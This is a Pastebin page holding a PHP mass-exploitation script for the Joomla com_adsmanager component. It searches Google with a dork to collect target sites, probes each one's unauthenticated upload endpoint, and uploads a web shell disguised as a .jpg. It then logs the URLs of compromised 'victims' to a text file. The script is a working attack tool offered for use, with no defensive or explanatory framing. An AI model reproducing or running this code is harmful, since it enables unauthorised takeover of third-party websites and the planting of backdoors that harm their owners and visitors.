API tools faq
paste
Advertisement
3xploit3r

com_adsmanager mass exp

3xploit3r
Aug 5th, 2016
146
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.22 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.     set_time_limit(0);
  3.     ini_set('memory_limit', '64M');
  4.     header('Content-Type: text/html; charset=UTF-8');
  5.    
  6.     function letItBy() {
  7.         ob_flush();
  8.         flush();
  9.     }
  10.     function google_that($query, $page=1){
  11.         $resultPerPage=8;
  12.         $start = $page*$resultPerPage;
  13.         $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw[&key=API_KEY_GOOGLE]&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query); // you can delete this "[&key=API_KEY_GOOGLE]" if you haven't google API Key
  14.         $resultFromGoogle = json_decode( http_get($url, true) ,true);
  15.         if(isset($resultFromGoogle['responseStatus'])) {
  16.             if($resultFromGoogle['responseStatus'] != '200') return false;
  17.             if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
  18.             else return $resultFromGoogle['responseData']['results'];
  19.         } else
  20.             die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
  21.  
  22.     }
  23.     function http_get($url, $safemode = false){
  24.         if($safemode === true) sleep(1);
  25.         $im = curl_init($url);
  26.         curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  27.         curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  28.         curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  29.         curl_setopt($im, CURLOPT_HEADER, 0);
  30.         return curl_exec($im);
  31.         curl_close();
  32.     }
  33.     function check_injection($url){
  34.         $data = http_get( str_replace("=com_adsmanager", "=com_adsmanager&task=upload&tmpl=component", $url) );
  35.         return preg_match('/"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile"/', $data);
  36.     }
  37. ?>
  38. <!DOCTYPE html>
  39. <style type="text/css">
  40. a {
  41.     text-decoration: none;
  42.     color: green;
  43. }
  44. </style>
  45. <form method="post">
  46.             Dork:
  47.             <input style="border: 1px dashed #000; background: transparent; color: #bb0000; padding-left: 5px;" type="text" id="dork" name="dork" value="inurl:/index.php?option=com_adsmanager" />
  48.             <input style="border: 1px dashed #000; background: transparent; color: #bb0000;" type="submit" value="Start" id="button"/>
  49.         </form>
  50.         <?php
  51.             if(isset($_POST['dork']{0})){
  52.                 echo "<hr width='50%' color='#008000'>";
  53.                 letItBy();         
  54.                 for($googlePage = 1; $googlePage <= 10; $googlePage++){
  55.                     $googleResult = google_that($_POST['dork'], $googlePage);
  56.                     if(!$googleResult){
  57.                         echo 'google dont have more result, so I done..(?)';
  58.                         break;
  59.                     }
  60.                     for($victim = 0; $victim < sizeof($googleResult); $victim++) {
  61.                         if(check_injection($googleResult[$victim]['unescapedUrl'])){
  62.                         echo "<div style='margin: 5px auto; padding-left: 7px;'>";
  63.                         $site = "http://".$googleResult[$victim]['visibleUrl']."/index.php?option=com_adsmanager&task=upload&tmpl=component";
  64.                         echo "[+] Scan : <font color=green> http://".$googleResult[$victim]['visibleUrl']."/</font><br>";
  65.                         echo "[+] Ada Cuk!! => <a href='$site' target='_blank'> $site </a><br>";
  66.                         echo "[?] Bntr ya , mau di anu dulu :p<br>";
  67.                         $file = "name_of_ur_shell.php"; // this is renamed file of @urshell.jpg
  68.                         $postdata = array(
  69.                             "file"=>"@yourshell.jpg",
  70.                             "name"=>"$file"); // example "@c99.jpg" - ur shell extension must shell.jpg not .php
  71.                         $x = curl_init("{$site}");
  72.                               curl_setopt($x, CURLOPT_RETURNTRANSFER, 1);
  73.                               curl_setopt($x, CURLOPT_POST, 1);
  74.                               curl_setopt($x, CURLOPT_POSTFIELDS, $postdata);
  75.                               $res = curl_exec($x);
  76.                              if(preg_match("/error_log/", $res)) {
  77.                                 $fh = fopen("sh3.txt","a"); // log result xploited victim
  78.                                 fwrite($fh, "http://".$googleResult[$victim]['visibleUrl']."/tmp/plupload/$file"."\n");
  79.                                 fclose($fh);
  80.                                 echo "[+] <font color=green>Wih Hoki bener lu cok !! Sukses di anu => <a href='http://".$googleResult[$victim]['visibleUrl']."/tmp/plupload/$file' target='_blank'> http://".$googleResult[$victim]['visibleUrl']."/tmp/plupload/$file </a> <==</font>","<br>";
  81.                              } else {
  82.                                 echo "[-] <font color=red>Yah Gagal Di Anu cok xixixi :p</font><br>";
  83.                                 }
  84.                              echo "</div>";
  85.                               curl_close($x);
  86.                         }
  87.                         else echo "<div style='margin: 5px auto; padding-left: 7px;'>";
  88.                         echo "[+] Scan : <font color=green> http://".$googleResult[$victim]['visibleUrl']."/</font><br>";
  89.                         echo "[-] <font color=red>Ga nemu cuk! </font><br>";
  90.                         echo "</div>";
  91.                         letItBy();
  92.                     }
  93.                 }
  94.             }
  95.         ?>
  96.         </div>
  97.     </body>
  98. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!